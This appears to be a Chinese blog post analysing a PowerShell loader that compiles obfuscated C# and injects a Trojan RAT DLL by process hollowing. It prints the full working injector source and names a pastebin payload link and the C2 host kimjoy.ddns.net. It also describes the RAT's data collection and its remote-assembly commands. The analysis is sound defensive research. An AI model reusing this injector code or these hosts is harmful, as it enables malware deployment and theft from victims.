ps1加载Trojan RAT dll分析

  1. 前言
  2. 分析过程

前言

在群里看到个ps1的链接,没事干下载下来分析了一下
感觉挺有意思,ps1链接:https://pastebin.com/raw/7Ze9v4qa

分析过程

原ps1内容,一眼看去关键的地方经过了混淆

手动解密,最终得到的内容如下

$RUNPE变量是加密的csahrp源码
$Bytes是加密的RAT DLL

该ps1的功能如下:
0.延时1秒

1. StartupCheck环境变量存在的话写入vbs调用INSTALL函数
    * %Startup%环境变量不存在调用CodeDom函数
1. CodeDom函数功能
    1. 解密gzip压缩的cs源码的内容
    2. 利用csc编译成dll
    3. 利用InstallUtil.exe调用dll里的Execute函数->Execute(string path, byte[] payload)加载Trojan RAT dll

powershell ISE断点分析:

火绒剑动态运行监控:

解密出来的cs源码分析:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic;


namespace projFUD
{
    public static class PA
    {
        public static string ReverseString(string Str)
        {
            string Revstr = "";
            int Length;
            Length = Str.Length - 1;
            while (Length >= 0)
            {
                Revstr = Revstr + Str[Length];
                Length--;
            }
            return Revstr;
        }
        public static string BinaryToString(string str)
        {
            string chars = System.Text.RegularExpressions.Regex.Replace(str, "[^01]", "");
            byte[] arr = new byte[(chars.Length / 8) - 1 + 1];
            for (int i = 0; i <= arr.Length - 1; i++)
                arr[i] = Convert.ToByte(chars.Substring(i * 8, 8), 2);
            return System.Text.ASCIIEncoding.ASCII.GetString(arr);
        }
        private delegate int DelegateResumeThread(IntPtr handle);
        private delegate bool DelegateWow64SetThreadContext(IntPtr thread, int[] context);
        private delegate bool DelegateSetThreadContext(IntPtr thread, int[] context);
        private delegate bool DelegateWow64GetThreadContext(IntPtr thread, int[] context);
        private delegate bool DelegateGetThreadContext(IntPtr thread, int[] context);
        private delegate int DelegateVirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
        private delegate bool DelegateWriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
        private delegate bool DelegateReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
        private delegate int DelegateZwUnmapViewOfSection(IntPtr process, int baseAddress);
        private delegate bool DelegateCreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
            bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);




        private static string[] AL = Convert.ToString("0011001000110011011011000110010101101110011100100110010101101011|0110110001101100011001000111010001101110|011001000110000101100101011100100110100001010100011001010110110101110101011100110110010101010010|011101000111100001100101011101000110111001101111010000110110010001100001011001010111001001101000010101000111010001100101010100110011010000110110011101110110111101010111|01110100011110000110010101110100011011100110111101000011011001000110000101100101011100100110100001010100011101000110010101010011|011101000111100001100101011101000110111001101111010000110110010001100001011001010111001001101000010101000111010001100101010001110011010000110110011101110110111101010111|01110100011110000110010101110100011011100110111101000011011001000110000101100101011100100110100001010100011101000110010101000111|0111100001000101011000110110111101101100011011000100000101101100011000010111010101110100011100100110100101010110|011110010111001001101111011011010110010101001101011100110111001101100101011000110110111101110010010100000110010101110100011010010111001001010111|0111100101110010011011110110110101100101010011010111001101110011011001010110001101101111011100100101000001100100011000010110010101010010|0110111001101111011010010111010001100011011001010101001101100110010011110111011101100101011010010101011001110000011000010110110101101110010101010111011101011010|0100000101110011011100110110010101100011011011110111001001010000011001010111010001100001011001010111001001000011|").Split(new string[] { "|" }, StringSplitOptions.None);


        private static string Kernel32 = BinaryToString(AL[0]);
        private static string ntdll = BinaryToString(AL[1]);
        private static string RsmThread = BinaryToString(AL[2]);
        private static string Wow64SetThreadCtx = BinaryToString(AL[3]);
        private static string SetThreadCtx = BinaryToString(AL[4]);
        private static string Wow64GetThreadCtx = BinaryToString(AL[5]);
        private static string GetThreadCtx = BinaryToString(AL[6]);
        private static string VirtualAllcEx = BinaryToString(AL[7]);
        private static string WriteProcessMem = BinaryToString(AL[8]);
        private static string ReadProcessMem = BinaryToString(AL[9]);
        private static string ZwUnmapViewOfSec = BinaryToString(AL[10]);
        private static string CreateProcA = BinaryToString(AL[11]);




        private static readonly DelegateResumeThread ResumeThread = LoadApi<DelegateResumeThread>(ReverseString(Kernel32), ReverseString(RsmThread));
        private static readonly DelegateWow64SetThreadContext Wow64SetThreadContext = LoadApi<DelegateWow64SetThreadContext>(ReverseString(Kernel32), ReverseString(Wow64SetThreadCtx));
        private static readonly DelegateSetThreadContext SetThreadContext = LoadApi<DelegateSetThreadContext>(ReverseString(Kernel32), ReverseString(SetThreadCtx));
        private static readonly DelegateWow64GetThreadContext Wow64GetThreadContext = LoadApi<DelegateWow64GetThreadContext>(ReverseString(Kernel32), ReverseString(Wow64GetThreadCtx));
        private static readonly DelegateGetThreadContext GetThreadContext = LoadApi<DelegateGetThreadContext>(ReverseString(Kernel32), ReverseString(GetThreadCtx));
        private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>(ReverseString(Kernel32), ReverseString(VirtualAllcEx));
        private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>(ReverseString(Kernel32), ReverseString(WriteProcessMem));
        private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>(ReverseString(Kernel32), ReverseString(ReadProcessMem));
        private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>(ReverseString(ntdll), ReverseString(ZwUnmapViewOfSec));
        private static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>(ReverseString(Kernel32), ReverseString(CreateProcA));


        [DllImport("kernel32", SetLastError = true)]
        private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
        [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
        private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
        private static CreateApi LoadApi<CreateApi>(string name, string method)
        {
            return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi));
        }


        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        private struct ProcessInformation
        {
            public readonly IntPtr ProcessHandle;
            public readonly IntPtr ThreadHandle;
            public readonly uint ProcessId;
            private readonly uint ThreadId;
        }
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        private struct StartupInformation
        {
            public uint Size;
            private readonly string Reserved1;
            private readonly string Desktop;
            private readonly string Title;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
            private readonly byte[] Misc;
            private readonly IntPtr Reserved2;
            private readonly IntPtr StdInput;
            private readonly IntPtr StdOutput;
            private readonly IntPtr StdError;
        }




        public static void Execute(string path, byte[] payload) //傀儡进程实现
        {
            for (int i = 0; i < 5; i++)
            {
                int readWrite = 0;
                StartupInformation si = new StartupInformation();
                ProcessInformation pi = new ProcessInformation();
                si.Size = UInt32.Parse(Marshal.SizeOf(typeof(StartupInformation)).ToString());
                string ToInt32 = System.Text.Encoding.Default.GetString(new byte[] { 0x54, 0x6F, 0x49, 0x6E, 0x74, 0x33, 0x32 });
                string ToInt16 = System.Text.Encoding.Default.GetString(new byte[] { 0x54, 0x6F, 0x49, 0x6E, 0x74, 0x31, 0x36 });


                try
                {
                    if (!CreateProcessA(path, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 4 | 134217728, IntPtr.Zero, null, ref si, ref pi)) throw new Exception(); //创建进程
                    int fileAddress = (int)Interaction.CallByName(typeof(BitConverter).GetMethod(ToInt32), BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { null, new object[] { payload, (30 * 2) } });
                    int imageBase = (int)Interaction.CallByName(typeof(BitConverter).GetMethod(ToInt32), BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { null, new object[] { payload, fileAddress + (26 * 2) } });
                    int[] context = new int[Convert.ToInt32(89 + 90)];
                    context[0] = 65538;
                    if (IntPtr.Size == 4) //如果字节为4位(32位)
                    { if (!GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } //检索指定线程的上下文
                    else //64位
                    { if (!Wow64GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } //来检索WOW64线程的上下文
                    int ebx = context[(20 + 21)];
                    int baseAddress = 0;
                    if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite)) throw new Exception(); //读取内存
                    if (imageBase == baseAddress)
                        if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0) throw new Exception();
                    int sizeOfImage = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, fileAddress + 80 });
                    int sizeOfHeaders = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, fileAddress + 84 });
                    bool allowOverride = false;
                    int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);


                    if (newImageBase == 0) throw new Exception();
                    if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite)) throw new Exception();
                    int sectionOffset = fileAddress + 248;
                    short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 6);
                    for (int I = 0; I < numberOfSections; I++)
                    {
                        int virtualAddress = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, sectionOffset + 12 });
                        int sizeOfRawData = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, sectionOffset + 16 });
                        int pointerToRawData = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, sectionOffset + 20 });
                        if (sizeOfRawData != 0)
                        {
                            byte[] sectionData = new byte[sizeOfRawData];
                            Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sectionData.Length);
                            if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) throw new Exception();
                        }
                        sectionOffset += 40;
                    }
                    byte[] GB = BitConverter.GetBytes(newImageBase);
                    if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, GB, 4, ref readWrite)) throw new Exception();
                    int addressOfEntryPoint = (int)Interaction.CallByName(typeof(BitConverter).GetMethod(ToInt32), BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { null, new object[] { payload, fileAddress + 40 } });
                    if (allowOverride) newImageBase = imageBase;
                    context[44] = newImageBase + addressOfEntryPoint;
                    if (IntPtr.Size == 4)
                    {
                        var x = SetThreadContext(pi.ThreadHandle, context);
                        if (!x)
                        {
                            throw new Exception();
                        }
                    }
                    else
                    {
                        var y = Wow64SetThreadContext(pi.ThreadHandle, context);
                        if (!y)
                        {
                            throw new Exception();
                        }
                    }


                    int r = (int)Interaction.CallByName(ResumeThread, BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { pi.ThreadHandle });


                    if (r == -1 * 1)
                    {
                        throw new Exception();
                    }
                }
                catch
                {
                    Process.GetProcessById(Convert.ToInt32(pi.ProcessId)).Kill(); //执行失败的话返回当前进程PID并杀死
                    continue;
                }
                break;
            }
        }
    }
}

cs主要实现傀儡进程,加载Trojan RAT的dll,如果执行失败的话返回当前进程PID并杀死

Trojan RAT DLL分析:
Main函数入口点分析

1. 延时2.5秒
2. 创建flag互斥体
    * 创建flag互斥体
    * 互斥体创建失败则退出
1. 调用PreventSleep.Run()函数 【防止系统在应用程序运行时进入睡眠状态或关闭显示器】
2. Application.ApplicationExit (在应用程序即将关闭时发生)->调用Config.programMutex.ReleaseMutex() 释放互斥锁
3. 调用Client.RUN()函数

PreventSleep.Run函数

Config

Client.RUN函数分析:

1. 创建多线程调用Client.TcpReceive函数
2. 检测Client.isConnected是否为true(默认为False),如果为false释放所有缓冲区。将收集到的系统信息发送到kimjoy.ddns.net,并将Client.isConnected设置为true。创建一个计时器,该计时器在30秒钟后调用Client.Ping函数。然后创建新的缓冲区,如果上述操作失败将Client.isConnected设置为False


1. 进入循环
2. 检测socket状态是否为读取状态模式(Client.client.Poll(-1, SelectMode.SelectRead))和获取返回的值(Client.client.Available)是否成功或者连接(!Client.client.Connected)是否成功,如果其中一项失败退出循环
3. 指定缓冲区
byte[] array = new byte[Client.client.Available];
Interaction.CallByName(Client.client, "Receive", CallType.Method, new object[]
{
    array,
    0,
    array.Length,
    SocketFlags.None
}); //连接的Socket上接收数据之前的数据缓冲区,偏移量,大小和套接字标志
1. 判断缓冲区里是否存在!@#%^NYAN#!@$ (存在!@#%^NYAN#!@$)
2. 

接收到发送来的数据后写入缓冲区 Client.memoryStream.Write(array, 0, array.Length);

    * 存在的话则从MemoryStream解密内容 Array[] array2 = (Array[])Client.PacketFixer(Client.memoryStream.ToArray(), Config.splitter);
    * 实例化PacketHandler类 PacketHandler @object = new PacketHandler();        * 线程池实例化PacketHandler.Handler函数 Thread thread = new Thread(new ParameterizedThreadStart(@object.Handler));
    * 将缓冲区里的首位字符串传入PacketHandler.Handler函数作为参数,启用线程池 thread.Start(array2[0])
    * 释放缓冲区 Client.memoryStream.Dispose()
    * 新建缓冲区Client.memoryStream = new MemoryStream();
    * 解密后的数组长度不为2则退出循环
    * 在将解密数组的1位元素写入新的缓冲区 Client.memoryStream.Write((byte[])array2[1], 0, ((byte[])array2[1]).Length)
1. 缓冲区里不存在!@#%^NYAN#!@$
* 设置socket连接状态为false并退出循环 Client.isConnected = false;break


SendInfo函数分析
(每个功能都使用config.key进行分割)

* IdGenerator.GetHardDiskSerialNumber()当前盘符数量
* IdGenerator.GetIp()获取当前机器IP
* 获取主机名Environment.MachineName和用户名Environment.UserName
* IdGenerator.GetCamera()检索捕获驱动程序的版本说明
* new ComputerInfo().OSFullName获取系统名称和当前所有进程IdGenerator.GetSystem()
* IdGenerator.GetCpu()获取当前CPU名称
* ComputerInfo().TotalPhysicalMemory物理内存总量
* IdGenerator.GetAV()通过wmic查询检测杀毒
* config.port
* IdGenerator.GetActiveWindow()获取当前窗口标题
* 当前线程区域性的名称CultureInfo.CurrentCulture.Name


PacketHandler.Handler函数
根据解密的数组的0位元素做出对应的判断

* 如果array[0]=="PNC" ,重置计时器,开始计时,发送PNC字符串给远程服务器
* 如果array[0]=="P",停止计时器,发送P字符串+config.key+Config.stopwatch.ElapsedMilliseconds(计时器的运行时间),并发送W字符串+config.key+当前窗口标题
* 如果array[0]=="IE",打开注册表HKEY_CURRENT_USER\SOFTWARE\RXQLV8XYTDNHNSA\array[1],如果存在该注册表路径调用Invoke函数(this.Invoke(Config.host, Config.port, array[4], array[5], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber())),并从注册表HKEY_CURRENT_USER\SOFTWARE\RXQLV8XYTDNHNSA\array[1],读取指定的内容,并将array[1]转换为布尔值,跳转到IL_395,如果注册表路径不存在,发送GPL字符串+config.key+array[5]+key+array[1]+key+false字符串,跳转到IL_395执行
* 如果array[0]=="LP"执行invoke函数this.Invoke(Config.host, Config.port, array[1], array[2], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), array[3], int.Parse(array[4]), Convert.ToBoolean(array[5]), array[6], Convert.ToBoolean(array[7]))
* 如果array[0]=="UNV"调用GetAssembly加载发送来的程序集调用



invoke函数
bytes=>CreateInstance
bytes2=>Start
加载对应的程序集调用,创建对应的注册表设置键值

GetAssembly函数
bytes=>SLoad
加载程序集之前先base64解码,gzip流解压。在加载

微步情报

请求信息


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:ps1加载Trojan RAT dll分析

本文作者:九世

发布时间:2021-05-09, 13:53:36

最后更新:2021-05-09, 14:49:44

原始链接:http://422926799.github.io/posts/43591be7.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录